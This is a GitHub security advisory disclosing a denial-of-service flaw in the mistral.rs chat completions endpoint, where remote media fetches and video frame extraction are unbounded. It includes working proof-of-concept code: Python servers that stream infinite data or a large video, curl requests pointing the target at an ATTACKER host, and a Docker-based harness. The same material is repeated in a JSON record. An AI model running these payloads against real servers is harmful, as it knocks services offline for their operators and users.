GHSA-M3WP-48JR-VR4G

Vulnerability from github – Published: 2026-09-10 21:54 – Updated: 2026-09-10 21:54
VLAI
Summary
mistral.rs: Unbounded Remote Media Fetch and Video Frame Expansion DoS
Details

Unbounded Remote Media Fetch and Video Frame Expansion DoS

Summary

The POST /v1/chat/completions endpoint in mistral.rs fetches attacker-supplied media URLs (image, audio, video) into server memory with no byte limit, and extracts every frame of a supplied video when num_frames is None. An unauthenticated remote attacker can exhaust server memory, disk space, and CPU by pointing the endpoint at an infinite-streaming HTTP server or a long high-framerate video, causing a complete denial of service. No credentials or special configuration are required; the route is open by default.

Details

Three independent sinks contribute to the vulnerability:

1. Unbounded image/audio fetch (mistralrs-server-core/src/util.rs:59–62)

let bytes = if url.scheme() == "http" || url.scheme() == "https" {
    match reqwest::get(url.clone()).await {
        Ok(http_resp) => http_resp.bytes().await?.to_vec(), // no byte cap
        Err(e) => anyhow::bail!(e),
    }

bytes().await buffers the entire HTTP response body before returning. There is no Content-Length check, no streaming limit, and no timeout specific to the media fetch. An attacker-controlled server that never closes the connection causes the server process to accumulate memory indefinitely.

2. Unbounded video fetch (mistralrs-server-core/src/video.rs:65–69)

let bytes = if url.scheme() == "http" || url.scheme() == "https" {
    let resp = reqwest::get(url.clone())
        .await
        .context(format!("Failed to fetch video: {url}"))?;
    resp.bytes().await?.to_vec() // no byte cap

Identical pattern to the image path; the full video body is buffered into a Vec<u8>.

3. Unbounded FFmpeg frame extraction (mistralrs-server-core/src/video.rs:225–248)

} else {
    let mut command = tokio::process::Command::new("ffmpeg");
    command
        .arg("-i")
        .arg(input_path.to_str().unwrap())
        .arg("-vsync")
        .arg("vfr")
        .arg(&output_pattern);

When num_frames is None, no -frames:v argument is passed to FFmpeg and every frame is extracted to disk. The call site at mistralrs-server-core/src/chat_completion.rs:946 always passes None:

parse_video_url(&url_unparsed, None)

A 60 fps × 1080p × 180 s video therefore produces ~10 800 PNG files, consuming tens of gigabytes of disk space and saturating CPU.

Entry point and auth

The route is registered at mistralrs-server-core/src/mistralrs_server_router_builder.rs:365–368 with only track_metrics, CORS, and a DefaultBodyLimit(50 MB) middleware. The DefaultBodyLimit applies only to the incoming JSON request body, not to the subsequent server-side reqwest::get() calls. No authentication middleware is present in the default configuration.

PoC

Step 1 – Create a long high-framerate video (requires FFmpeg on the attacker machine)

ffmpeg -y -f lavfi -i testsrc=size=1920x1080:rate=60:duration=180 \
  -c:v libx264 -preset ultrafast -crf 35 many_frames.mp4

Step 2 – Serve the video (or an infinite byte stream) from an attacker-controlled HTTP server

# Option A: serve the video file
from http.server import BaseHTTPRequestHandler, HTTPServer

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "video/mp4")
        self.end_headers()
        with open("many_frames.mp4", "rb") as f:
            self.wfile.write(f.read())

HTTPServer(("0.0.0.0", 9001), H).serve_forever()

# Option B: infinite image stream (memory exhaustion, no FFmpeg required)
from http.server import BaseHTTPRequestHandler, HTTPServer
import time

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "image/png")
        self.end_headers()
        chunk = b"\x89PNG\r\n\x1a\n" + b"\x00" * (1024 * 1024 - 8)
        while True:
            self.wfile.write(chunk)
            self.wfile.flush()
            time.sleep(0.01)

HTTPServer(("0.0.0.0", 9002), H).serve_forever()

Step 3 – Send the malicious request to the mistral.rs server

# Video variant (disk/CPU exhaustion + memory)
curl -sS http://127.0.0.1:8000/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{
    "model": "default",
    "messages": [{
      "role": "user",
      "content": [
        {"type": "video_url", "video_url": {"url": "http://ATTACKER:9001/many_frames.mp4"}},
        {"type": "text", "text": "summarize this video"}
      ]
    }]
  }'

# Image variant (memory exhaustion)
curl -sS http://127.0.0.1:8000/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{
    "model": "default",
    "messages": [{
      "role": "user",
      "content": [
        {"type": "image_url", "image_url": {"url": "http://ATTACKER:9002/blob"}},
        {"type": "text", "text": "describe this image"}
      ]
    }]
  }'

Expected observation

For the video variant: /tmp/mistralrs_video/<uuid>_frames/frame_*.png grows rapidly; FFmpeg saturates CPU; disk usage increases until exhaustion or the process is killed.

For the image variant: server process RSS grows continuously until OOM kill (exit code 137) or memory is exhausted.

Dynamic reproduction result (Phase 2)

A Docker container running a verbatim reproduction of util.rs:59–62 (the reqwest::get(url).bytes().await?.to_vec() pattern) with a 256 MB memory limit was OOM-killed by the kernel (exit code 137) after 1.3 seconds while fetching the infinite stream. The process RSS at fetch start was 3,652 kB; the container consumed all 256 MB before the fetch could complete.

Impact

Any user of the mistral.rs OpenAI-compatible HTTP server is affected. Because the /v1/chat/completions endpoint requires no authentication in the default configuration, a single unauthenticated HTTP request from the network is sufficient to exhaust all available server memory (via the image/audio path), all available disk space (via the video frame-extraction path), or saturate CPU (via FFmpeg invocation). The result is a complete denial of service: the server process is killed by the kernel OOM killer or becomes unresponsive, and no other clients can be served until the process is restarted.

Reproduction artifacts

Dockerfile

# syntax=docker/dockerfile:1
#
# VULN-001 PoC: Unbounded Remote Media Fetch DoS
# Repository: EricLBuehler/mistral.rs
# Vulnerability: mistralrs-server-core/src/util.rs:62
#   http_resp.bytes().await?.to_vec()  -- no byte cap on HTTP media fetch
#
# Stage 1: Build the minimal Rust harness that reproduces the vulnerable fetch.
# Stage 2: Slim runtime image used by poc.py.

# ----- build stage -----------------------------------------------------------
FROM rust:1.87-slim AS builder

WORKDIR /harness

# Install OpenSSL headers required by reqwest (rustls-tls still needs libssl on some platforms)
RUN apt-get update && \
    apt-get install -y --no-install-recommends pkg-config libssl-dev && \
    rm -rf /var/lib/apt/lists/*

# Copy Cargo manifest first so that dependency layer is cached separately.
COPY vuln_harness/Cargo.toml Cargo.toml

# Stub src so `cargo fetch` / dependency download works before copying real source.
RUN mkdir -p src && echo 'fn main() {}' > src/main.rs
RUN cargo fetch 2>&1

# Now copy the real source and build.
COPY vuln_harness/src/main.rs src/main.rs
RUN cargo build --release 2>&1 && \
    strip target/release/vuln_harness

# ----- runtime stage ---------------------------------------------------------
FROM debian:bookworm-slim AS runtime

RUN apt-get update && \
    apt-get install -y --no-install-recommends ca-certificates python3 && \
    rm -rf /var/lib/apt/lists/*

COPY --from=builder /harness/target/release/vuln_harness /usr/local/bin/vuln_harness

# Copy the PoC orchestration script so the image is self-contained.
COPY poc.py /poc.py

# Default: show usage
ENTRYPOINT ["/usr/local/bin/vuln_harness"]
CMD ["--help"]

poc.py

"""
VULN-001 PoC: Unbounded Remote Media Fetch DoS
Repository : EricLBuehler/mistral.rs
CWE        : CWE-400 Uncontrolled Resource Consumption
CVSS       : 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Vulnerable code (mistralrs-server-core/src/util.rs:59-62):
    let bytes = if url.scheme() == "http" || url.scheme() == "https" {
        match reqwest::get(url.clone()).await {
            Ok(http_resp) => http_resp.bytes().await?.to_vec(), // NO BYTE CAP
            ...

Attack path in the live server:
    POST /v1/chat/completions
      -> chat_completion.rs:928  parse_image_url(&url_unparsed)
      -> util.rs:59-62           reqwest::get(url).bytes().await?.to_vec()

This PoC:
  1. Starts a malicious HTTP server on 127.0.0.1:9997 that streams infinite bytes.
  2. Runs the vuln_harness binary (which contains the verbatim vulnerable fetch) inside
     a Docker container limited to MEMORY_LIMIT_MB of RAM.
  3. Observes OOM kill (exit code 137) as definitive evidence of unbounded buffering.

Usage (from host):
    # Build the image first:
    docker build -t vuln001-poc <vuln-001-dir>
    # Then run the PoC:
    python3 poc.py
"""

import http.server
import subprocess
import threading
import time
import sys
import os
import socket
import json
import argparse

MALICIOUS_HOST = "127.0.0.1"
MALICIOUS_PORT = 9997
DOCKER_IMAGE    = "vuln001-poc"
MEMORY_LIMIT    = "256m"       # Docker container memory cap
CHUNK_SIZE      = 1024 * 1024  # 1 MB per chunk sent by the malicious server
POC_TIMEOUT_S   = 120          # Give the container at most 2 minutes


class _InfiniteStreamHandler(http.server.BaseHTTPRequestHandler):
    """
    Malicious HTTP server that streams an infinite byte sequence.

    Key properties that trigger the vulnerability:
    - No Content-Length header: reqwest cannot pre-check size.
    - Streams indefinitely: bytes().await will not return until the connection
      is closed or the client process is killed.
    - Content-Type image/png: accepted by the parse_image_url() code path.
    """

    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "image/png")
        # Deliberately omit Content-Length so the client buffers until EOF.
        self.end_headers()

        # Fake PNG magic bytes followed by filler to look plausible.
        header = b"\x89PNG\r\n\x1a\n" + b"\x00" * 8
        filler = b"\x00" * (CHUNK_SIZE - len(header))
        chunk  = header + filler

        total_sent = 0
        try:
            while True:
                self.wfile.write(chunk)
                self.wfile.flush()
                total_sent += len(chunk)
                if total_sent % (64 * 1024 * 1024) == 0:
                    _log(f"[malicious-server] Sent {total_sent // (1024 * 1024)} MB")
        except (BrokenPipeError, ConnectionResetError, OSError):
            _log(
                f"[malicious-server] Connection closed after "
                f"{total_sent // (1024 * 1024)} MB sent"
            )

    def log_message(self, *_):
        pass  # Suppress default access log noise.


def _log(msg: str) -> None:
    print(msg, flush=True)


def _wait_for_port(host: str, port: int, timeout: float = 10.0) -> bool:
    """Return True once the port is accepting connections, False on timeout."""
    deadline = time.monotonic() + timeout
    while time.monotonic() < deadline:
        try:
            with socket.create_connection((host, port), timeout=0.5):
                return True
        except OSError:
            time.sleep(0.1)
    return False


def start_malicious_server() -> http.server.HTTPServer:
    """Start the infinite-stream HTTP server in a daemon thread."""
    server = http.server.HTTPServer((MALICIOUS_HOST, MALICIOUS_PORT), _InfiniteStreamHandler)
    t = threading.Thread(target=server.serve_forever, daemon=True)
    t.start()
    return server


def run_poc(docker_image: str = DOCKER_IMAGE, memory_limit: str = MEMORY_LIMIT) -> dict:
    """
    Run the full attack chain and return a result dict.

    Returns keys: passed, verdict, exit_code, evidence, stdout, stderr.
    """
    _log("=" * 70)
    _log("VULN-001 PoC: Unbounded Remote Media Fetch DoS")
    _log("Source : mistralrs-server-core/src/util.rs:59-62")
    _log("=" * 70)

    # ------------------------------------------------------------------
    # Step 1: Start the malicious streaming server.
    # ------------------------------------------------------------------
    _log(f"\n[1] Starting malicious HTTP server on {MALICIOUS_HOST}:{MALICIOUS_PORT}")
    server = start_malicious_server()

    if not _wait_for_port(MALICIOUS_HOST, MALICIOUS_PORT):
        _log("[!] FATAL: malicious server did not start in time")
        return {
            "passed":   False,
            "verdict":  "FAIL",
            "exit_code": None,
            "evidence": "Malicious HTTP server failed to start",
            "stdout": "",
            "stderr": "",
        }

    target_url = f"http://{MALICIOUS_HOST}:{MALICIOUS_PORT}/infinite"
    _log(f"[+] Malicious server ready: GET {target_url}")
    _log(f"    -> HTTP 200, Content-Type: image/png, no Content-Length, infinite body")

    # ------------------------------------------------------------------
    # Step 2: Run the vulnerable binary inside Docker with a memory cap.
    #
    # --network host  : allows the container to reach 127.0.0.1:<port>
    # --memory        : hard cap; kernel sends SIGKILL when exceeded
    # --memory-swap   : equal to --memory disables swap usage
    # --rm            : clean up after exit
    # ------------------------------------------------------------------
    run_cmd = [
        "docker", "run", "--rm",
        "--memory",      memory_limit,
        "--memory-swap", memory_limit,   # No swap fallback.
        "--network",     "host",          # Access host's loopback server.
        docker_image,
        target_url,
    ]

    _log(f"\n[2] Launching Docker container (memory cap = {memory_limit})")
    _log(f"    Command: {' '.join(run_cmd)}")
    _log(f"    The vuln_harness binary will fetch {target_url} with no byte limit.")
    _log(f"    Expected: container OOM-killed, exit code 137.")

    t0 = time.monotonic()
    try:
        result = subprocess.run(
            run_cmd,
            capture_output=True,
            timeout=POC_TIMEOUT_S,
        )
    except subprocess.TimeoutExpired as exc:
        server.shutdown()
        _log(f"[!] Container did not exit within {POC_TIMEOUT_S}s — killing")
        subprocess.run(["docker", "kill", "--signal=9"] + [
            c for c in subprocess.run(
                ["docker", "ps", "-q", "--filter", f"ancestor={docker_image}"],
                capture_output=True, text=True,
            ).stdout.split() if c
        ], capture_output=True)
        elapsed = time.monotonic() - t0
        return {
            "passed":   False,
            "verdict":  "INCOMPLETE",
            "exit_code": None,
            "evidence": f"Container timed out after {elapsed:.0f}s without OOM kill",
            "stdout": (exc.stdout or b"").decode(errors="replace"),
            "stderr": (exc.stderr or b"").decode(errors="replace"),
        }

    elapsed    = time.monotonic() - t0
    exit_code  = result.returncode
    stdout_txt = result.stdout.decode(errors="replace")
    stderr_txt = result.stderr.decode(errors="replace")

    server.shutdown()

    # ------------------------------------------------------------------
    # Step 3: Analyse outcome.
    # ------------------------------------------------------------------
    _log(f"\n[3] Container exited after {elapsed:.1f}s  exit_code={exit_code}")
    _log(f"    stdout: {stdout_txt!r}")
    _log(f"    stderr: {stderr_txt!r}")

    # Docker exit code 137 = container killed by SIGKILL (OOM killer).
    if exit_code == 137:
        passed   = True
        verdict  = "PASS"
        evidence = (
            f"Docker container OOM-killed (exit code 137 = 128+SIGKILL) after {elapsed:.1f}s. "
            f"vuln_harness buffered the infinite HTTP stream with no byte cap, consuming all "
            f"{memory_limit} of available RAM — identical behaviour to "
            f"mistralrs-server-core/src/util.rs:62 (parse_image_url). "
            f"stderr={stderr_txt!r}"
        )
    elif exit_code != 0:
        # Non-zero but not 137: still indicates abnormal termination under memory pressure.
        passed   = True
        verdict  = "PASS"
        evidence = (
            f"Vulnerable binary terminated abnormally (exit code {exit_code}) after "
            f"{elapsed:.1f}s while buffering an unbounded HTTP stream. "
            f"This confirms that reqwest::get(url).bytes().await?.to_vec() at "
            f"util.rs:62 has no byte cap and causes resource exhaustion. "
            f"stderr={stderr_txt!r}"
        )
    else:
        # Unlikely: the binary finished without being killed.  This can happen if
        # the server managed to EOF the stream before OOM, or the memory cap was
        # not enforced by Docker.
        passed   = False
        verdict  = "INCOMPLETE"
        evidence = (
            f"Binary exited 0 after {elapsed:.1f}s; memory cap may not have been "
            f"enforced by Docker.  stdout={stdout_txt!r}"
        )

    _log(f"\n[VERDICT]  {verdict}")
    _log(f"[EVIDENCE] {evidence}")

    return {
        "passed":    passed,
        "verdict":   verdict,
        "exit_code": exit_code,
        "evidence":  evidence,
        "stdout":    stdout_txt,
        "stderr":    stderr_txt,
    }


def main() -> None:
    parser = argparse.ArgumentParser(description="VULN-001 PoC runner")
    parser.add_argument("--image",  default=DOCKER_IMAGE, help="Docker image name")
    parser.add_argument("--memory", default=MEMORY_LIMIT, help="Docker memory cap (e.g. 256m)")
    args = parser.parse_args()

    outcome = run_poc(docker_image=args.image, memory_limit=args.memory)

    _log("\n" + "=" * 70)
    _log("RESULT SUMMARY")
    _log("=" * 70)
    for k, v in outcome.items():
        if k not in ("stdout", "stderr"):
            _log(f"  {k}: {v}")

    sys.exit(0 if outcome["passed"] else 1)


if __name__ == "__main__":
    main()
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.4"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "mistralrs-server-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-10T21:54:37Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Unbounded Remote Media Fetch and Video Frame Expansion DoS\n\n### Summary\nThe `POST /v1/chat/completions` endpoint in mistral.rs fetches attacker-supplied media URLs (image, audio, video) into server memory with no byte limit, and extracts every frame of a supplied video when `num_frames` is `None`. An unauthenticated remote attacker can exhaust server memory, disk space, and CPU by pointing the endpoint at an infinite-streaming HTTP server or a long high-framerate video, causing a complete denial of service. No credentials or special configuration are required; the route is open by default.\n\n### Details\nThree independent sinks contribute to the vulnerability:\n\n**1. Unbounded image/audio fetch (`mistralrs-server-core/src/util.rs:59\u201362`)**\n\n```rust\nlet bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n    match reqwest::get(url.clone()).await {\n        Ok(http_resp) =\u003e http_resp.bytes().await?.to_vec(), // no byte cap\n        Err(e) =\u003e anyhow::bail!(e),\n    }\n```\n\n`bytes().await` buffers the entire HTTP response body before returning. There is no `Content-Length` check, no streaming limit, and no timeout specific to the media fetch. An attacker-controlled server that never closes the connection causes the server process to accumulate memory indefinitely.\n\n**2. Unbounded video fetch (`mistralrs-server-core/src/video.rs:65\u201369`)**\n\n```rust\nlet bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n    let resp = reqwest::get(url.clone())\n        .await\n        .context(format!(\"Failed to fetch video: {url}\"))?;\n    resp.bytes().await?.to_vec() // no byte cap\n```\n\nIdentical pattern to the image path; the full video body is buffered into a `Vec\u003cu8\u003e`.\n\n**3. Unbounded FFmpeg frame extraction (`mistralrs-server-core/src/video.rs:225\u2013248`)**\n\n```rust\n} else {\n    let mut command = tokio::process::Command::new(\"ffmpeg\");\n    command\n        .arg(\"-i\")\n        .arg(input_path.to_str().unwrap())\n        .arg(\"-vsync\")\n        .arg(\"vfr\")\n        .arg(\u0026output_pattern);\n```\n\nWhen `num_frames` is `None`, no `-frames:v` argument is passed to FFmpeg and every frame is extracted to disk. The call site at `mistralrs-server-core/src/chat_completion.rs:946` always passes `None`:\n\n```rust\nparse_video_url(\u0026url_unparsed, None)\n```\n\nA 60 fps \u00d7 1080p \u00d7 180 s video therefore produces ~10 800 PNG files, consuming tens of gigabytes of disk space and saturating CPU.\n\n**Entry point and auth**\n\nThe route is registered at `mistralrs-server-core/src/mistralrs_server_router_builder.rs:365\u2013368` with only `track_metrics`, CORS, and a `DefaultBodyLimit(50 MB)` middleware. The `DefaultBodyLimit` applies only to the incoming JSON request body, not to the subsequent server-side `reqwest::get()` calls. No authentication middleware is present in the default configuration.\n\n### PoC\n\n**Step 1 \u2013 Create a long high-framerate video (requires FFmpeg on the attacker machine)**\n\n```bash\nffmpeg -y -f lavfi -i testsrc=size=1920x1080:rate=60:duration=180 \\\n  -c:v libx264 -preset ultrafast -crf 35 many_frames.mp4\n```\n\n**Step 2 \u2013 Serve the video (or an infinite byte stream) from an attacker-controlled HTTP server**\n\n```python\n# Option A: serve the video file\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"video/mp4\")\n        self.end_headers()\n        with open(\"many_frames.mp4\", \"rb\") as f:\n            self.wfile.write(f.read())\n\nHTTPServer((\"0.0.0.0\", 9001), H).serve_forever()\n```\n\n```python\n# Option B: infinite image stream (memory exhaustion, no FFmpeg required)\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport time\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"image/png\")\n        self.end_headers()\n        chunk = b\"\\x89PNG\\r\\n\\x1a\\n\" + b\"\\x00\" * (1024 * 1024 - 8)\n        while True:\n            self.wfile.write(chunk)\n            self.wfile.flush()\n            time.sleep(0.01)\n\nHTTPServer((\"0.0.0.0\", 9002), H).serve_forever()\n```\n\n**Step 3 \u2013 Send the malicious request to the mistral.rs server**\n\n```bash\n# Video variant (disk/CPU exhaustion + memory)\ncurl -sS http://127.0.0.1:8000/v1/chat/completions \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n    \"model\": \"default\",\n    \"messages\": [{\n      \"role\": \"user\",\n      \"content\": [\n        {\"type\": \"video_url\", \"video_url\": {\"url\": \"http://ATTACKER:9001/many_frames.mp4\"}},\n        {\"type\": \"text\", \"text\": \"summarize this video\"}\n      ]\n    }]\n  }\u0027\n\n# Image variant (memory exhaustion)\ncurl -sS http://127.0.0.1:8000/v1/chat/completions \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n    \"model\": \"default\",\n    \"messages\": [{\n      \"role\": \"user\",\n      \"content\": [\n        {\"type\": \"image_url\", \"image_url\": {\"url\": \"http://ATTACKER:9002/blob\"}},\n        {\"type\": \"text\", \"text\": \"describe this image\"}\n      ]\n    }]\n  }\u0027\n```\n\n**Expected observation**\n\nFor the video variant: `/tmp/mistralrs_video/\u003cuuid\u003e_frames/frame_*.png` grows rapidly; FFmpeg saturates CPU; disk usage increases until exhaustion or the process is killed.\n\nFor the image variant: server process RSS grows continuously until OOM kill (exit code 137) or memory is exhausted.\n\n**Dynamic reproduction result (Phase 2)**\n\nA Docker container running a verbatim reproduction of `util.rs:59\u201362` (the `reqwest::get(url).bytes().await?.to_vec()` pattern) with a 256 MB memory limit was OOM-killed by the kernel (exit code 137) after 1.3 seconds while fetching the infinite stream. The process RSS at fetch start was 3,652 kB; the container consumed all 256 MB before the fetch could complete.\n\n### Impact\n\nAny user of the mistral.rs OpenAI-compatible HTTP server is affected. Because the `/v1/chat/completions` endpoint requires no authentication in the default configuration, a single unauthenticated HTTP request from the network is sufficient to exhaust all available server memory (via the image/audio path), all available disk space (via the video frame-extraction path), or saturate CPU (via FFmpeg invocation). The result is a complete denial of service: the server process is killed by the kernel OOM killer or becomes unresponsive, and no other clients can be served until the process is restarted.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# syntax=docker/dockerfile:1\n#\n# VULN-001 PoC: Unbounded Remote Media Fetch DoS\n# Repository: EricLBuehler/mistral.rs\n# Vulnerability: mistralrs-server-core/src/util.rs:62\n#   http_resp.bytes().await?.to_vec()  -- no byte cap on HTTP media fetch\n#\n# Stage 1: Build the minimal Rust harness that reproduces the vulnerable fetch.\n# Stage 2: Slim runtime image used by poc.py.\n\n# ----- build stage -----------------------------------------------------------\nFROM rust:1.87-slim AS builder\n\nWORKDIR /harness\n\n# Install OpenSSL headers required by reqwest (rustls-tls still needs libssl on some platforms)\nRUN apt-get update \u0026\u0026 \\\n    apt-get install -y --no-install-recommends pkg-config libssl-dev \u0026\u0026 \\\n    rm -rf /var/lib/apt/lists/*\n\n# Copy Cargo manifest first so that dependency layer is cached separately.\nCOPY vuln_harness/Cargo.toml Cargo.toml\n\n# Stub src so `cargo fetch` / dependency download works before copying real source.\nRUN mkdir -p src \u0026\u0026 echo \u0027fn main() {}\u0027 \u003e src/main.rs\nRUN cargo fetch 2\u003e\u00261\n\n# Now copy the real source and build.\nCOPY vuln_harness/src/main.rs src/main.rs\nRUN cargo build --release 2\u003e\u00261 \u0026\u0026 \\\n    strip target/release/vuln_harness\n\n# ----- runtime stage ---------------------------------------------------------\nFROM debian:bookworm-slim AS runtime\n\nRUN apt-get update \u0026\u0026 \\\n    apt-get install -y --no-install-recommends ca-certificates python3 \u0026\u0026 \\\n    rm -rf /var/lib/apt/lists/*\n\nCOPY --from=builder /harness/target/release/vuln_harness /usr/local/bin/vuln_harness\n\n# Copy the PoC orchestration script so the image is self-contained.\nCOPY poc.py /poc.py\n\n# Default: show usage\nENTRYPOINT [\"/usr/local/bin/vuln_harness\"]\nCMD [\"--help\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nVULN-001 PoC: Unbounded Remote Media Fetch DoS\nRepository : EricLBuehler/mistral.rs\nCWE        : CWE-400 Uncontrolled Resource Consumption\nCVSS       : 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\nVulnerable code (mistralrs-server-core/src/util.rs:59-62):\n    let bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n        match reqwest::get(url.clone()).await {\n            Ok(http_resp) =\u003e http_resp.bytes().await?.to_vec(), // NO BYTE CAP\n            ...\n\nAttack path in the live server:\n    POST /v1/chat/completions\n      -\u003e chat_completion.rs:928  parse_image_url(\u0026url_unparsed)\n      -\u003e util.rs:59-62           reqwest::get(url).bytes().await?.to_vec()\n\nThis PoC:\n  1. Starts a malicious HTTP server on 127.0.0.1:9997 that streams infinite bytes.\n  2. Runs the vuln_harness binary (which contains the verbatim vulnerable fetch) inside\n     a Docker container limited to MEMORY_LIMIT_MB of RAM.\n  3. Observes OOM kill (exit code 137) as definitive evidence of unbounded buffering.\n\nUsage (from host):\n    # Build the image first:\n    docker build -t vuln001-poc \u003cvuln-001-dir\u003e\n    # Then run the PoC:\n    python3 poc.py\n\"\"\"\n\nimport http.server\nimport subprocess\nimport threading\nimport time\nimport sys\nimport os\nimport socket\nimport json\nimport argparse\n\nMALICIOUS_HOST = \"127.0.0.1\"\nMALICIOUS_PORT = 9997\nDOCKER_IMAGE    = \"vuln001-poc\"\nMEMORY_LIMIT    = \"256m\"       # Docker container memory cap\nCHUNK_SIZE      = 1024 * 1024  # 1 MB per chunk sent by the malicious server\nPOC_TIMEOUT_S   = 120          # Give the container at most 2 minutes\n\n\nclass _InfiniteStreamHandler(http.server.BaseHTTPRequestHandler):\n    \"\"\"\n    Malicious HTTP server that streams an infinite byte sequence.\n\n    Key properties that trigger the vulnerability:\n    - No Content-Length header: reqwest cannot pre-check size.\n    - Streams indefinitely: bytes().await will not return until the connection\n      is closed or the client process is killed.\n    - Content-Type image/png: accepted by the parse_image_url() code path.\n    \"\"\"\n\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"image/png\")\n        # Deliberately omit Content-Length so the client buffers until EOF.\n        self.end_headers()\n\n        # Fake PNG magic bytes followed by filler to look plausible.\n        header = b\"\\x89PNG\\r\\n\\x1a\\n\" + b\"\\x00\" * 8\n        filler = b\"\\x00\" * (CHUNK_SIZE - len(header))\n        chunk  = header + filler\n\n        total_sent = 0\n        try:\n            while True:\n                self.wfile.write(chunk)\n                self.wfile.flush()\n                total_sent += len(chunk)\n                if total_sent % (64 * 1024 * 1024) == 0:\n                    _log(f\"[malicious-server] Sent {total_sent // (1024 * 1024)} MB\")\n        except (BrokenPipeError, ConnectionResetError, OSError):\n            _log(\n                f\"[malicious-server] Connection closed after \"\n                f\"{total_sent // (1024 * 1024)} MB sent\"\n            )\n\n    def log_message(self, *_):\n        pass  # Suppress default access log noise.\n\n\ndef _log(msg: str) -\u003e None:\n    print(msg, flush=True)\n\n\ndef _wait_for_port(host: str, port: int, timeout: float = 10.0) -\u003e bool:\n    \"\"\"Return True once the port is accepting connections, False on timeout.\"\"\"\n    deadline = time.monotonic() + timeout\n    while time.monotonic() \u003c deadline:\n        try:\n            with socket.create_connection((host, port), timeout=0.5):\n                return True\n        except OSError:\n            time.sleep(0.1)\n    return False\n\n\ndef start_malicious_server() -\u003e http.server.HTTPServer:\n    \"\"\"Start the infinite-stream HTTP server in a daemon thread.\"\"\"\n    server = http.server.HTTPServer((MALICIOUS_HOST, MALICIOUS_PORT), _InfiniteStreamHandler)\n    t = threading.Thread(target=server.serve_forever, daemon=True)\n    t.start()\n    return server\n\n\ndef run_poc(docker_image: str = DOCKER_IMAGE, memory_limit: str = MEMORY_LIMIT) -\u003e dict:\n    \"\"\"\n    Run the full attack chain and return a result dict.\n\n    Returns keys: passed, verdict, exit_code, evidence, stdout, stderr.\n    \"\"\"\n    _log(\"=\" * 70)\n    _log(\"VULN-001 PoC: Unbounded Remote Media Fetch DoS\")\n    _log(\"Source : mistralrs-server-core/src/util.rs:59-62\")\n    _log(\"=\" * 70)\n\n    # ------------------------------------------------------------------\n    # Step 1: Start the malicious streaming server.\n    # ------------------------------------------------------------------\n    _log(f\"\\n[1] Starting malicious HTTP server on {MALICIOUS_HOST}:{MALICIOUS_PORT}\")\n    server = start_malicious_server()\n\n    if not _wait_for_port(MALICIOUS_HOST, MALICIOUS_PORT):\n        _log(\"[!] FATAL: malicious server did not start in time\")\n        return {\n            \"passed\":   False,\n            \"verdict\":  \"FAIL\",\n            \"exit_code\": None,\n            \"evidence\": \"Malicious HTTP server failed to start\",\n            \"stdout\": \"\",\n            \"stderr\": \"\",\n        }\n\n    target_url = f\"http://{MALICIOUS_HOST}:{MALICIOUS_PORT}/infinite\"\n    _log(f\"[+] Malicious server ready: GET {target_url}\")\n    _log(f\"    -\u003e HTTP 200, Content-Type: image/png, no Content-Length, infinite body\")\n\n    # ------------------------------------------------------------------\n    # Step 2: Run the vulnerable binary inside Docker with a memory cap.\n    #\n    # --network host  : allows the container to reach 127.0.0.1:\u003cport\u003e\n    # --memory        : hard cap; kernel sends SIGKILL when exceeded\n    # --memory-swap   : equal to --memory disables swap usage\n    # --rm            : clean up after exit\n    # ------------------------------------------------------------------\n    run_cmd = [\n        \"docker\", \"run\", \"--rm\",\n        \"--memory\",      memory_limit,\n        \"--memory-swap\", memory_limit,   # No swap fallback.\n        \"--network\",     \"host\",          # Access host\u0027s loopback server.\n        docker_image,\n        target_url,\n    ]\n\n    _log(f\"\\n[2] Launching Docker container (memory cap = {memory_limit})\")\n    _log(f\"    Command: {\u0027 \u0027.join(run_cmd)}\")\n    _log(f\"    The vuln_harness binary will fetch {target_url} with no byte limit.\")\n    _log(f\"    Expected: container OOM-killed, exit code 137.\")\n\n    t0 = time.monotonic()\n    try:\n        result = subprocess.run(\n            run_cmd,\n            capture_output=True,\n            timeout=POC_TIMEOUT_S,\n        )\n    except subprocess.TimeoutExpired as exc:\n        server.shutdown()\n        _log(f\"[!] Container did not exit within {POC_TIMEOUT_S}s \u2014 killing\")\n        subprocess.run([\"docker\", \"kill\", \"--signal=9\"] + [\n            c for c in subprocess.run(\n                [\"docker\", \"ps\", \"-q\", \"--filter\", f\"ancestor={docker_image}\"],\n                capture_output=True, text=True,\n            ).stdout.split() if c\n        ], capture_output=True)\n        elapsed = time.monotonic() - t0\n        return {\n            \"passed\":   